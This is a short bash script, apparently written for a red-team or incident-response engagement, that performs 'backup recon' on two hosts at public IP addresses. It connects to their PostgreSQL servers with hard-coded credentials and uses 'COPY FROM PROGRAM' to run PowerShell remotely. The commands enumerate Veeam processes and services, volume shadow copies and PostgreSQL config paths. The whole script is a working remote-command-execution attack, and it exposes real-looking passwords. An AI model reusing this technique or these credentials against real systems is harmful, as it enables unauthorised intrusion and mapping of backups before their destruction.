#!/bin/bash
# L6 backup reachability recon on 14.225.11.57 + 14.225.11.8
# Read-only: Veeam presence, backup shares/dirs, PG backup configs, shadow copies.
set -u
OUT="/root/ir-assessment/redteam/gitlab_vdss_com_vn/L6_backup_recon.txt"

run_ps() {
  local host="$1" user="$2" pw="$3"
  PGPASSWORD="$pw" psql "host=$host port=5432 user=$user dbname=postgres connect_timeout=10" -v ON_ERROR_STOP=1 -At <<'SQL' 2>&1
DROP TABLE IF EXISTS pg_temp.b;
CREATE TEMP TABLE b(line text);
COPY b FROM PROGRAM $cmd$powershell -NoProfile -Command "Write-Output '---VEEAM_PROC---'; Get-Process -ErrorAction SilentlyContinue | Where-Object {$_.Name -match 'veeam'} | Select-Object Name,Id; Write-Output '---VEEAM_SVC---'; Get-Service -ErrorAction SilentlyContinue | Where-Object {$_.Name -match 'veeam|backup'} | Select-Object Name,Status; Write-Output '---SHADOWS---'; vssadmin list shadows 2>&1 | Select-Object -First 20; Write-Output '---PG_DUMP/ARCHIVE---'; Get-ChildItem 'C:\Program Files\PostgreSQL' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Name; Write-Output '---PG_DATA---'; (Get-ChildItem 'C:\Program Files\PostgreSQL\*\data\pg_hba.conf' -ErrorAction SilentlyContinue).FullName; Write-Output '---DONE---'"$cmd$;
SELECT line FROM b;
SQL
}

{
  echo "===L6 BACKUP RECON $(date -u) ==="
  echo "########## 14.225.11.57 ##########"
  run_ps "14.225.11.57" "superuser_user" "postgres"
  echo "########## 14.225.11.8 ##########"
  run_ps "14.225.11.8" "postgres" "Ctech2022!@#"
  echo "===END==="
} > "$OUT" 2>&1

echo "--- output file: $OUT ---"
cat "$OUT"
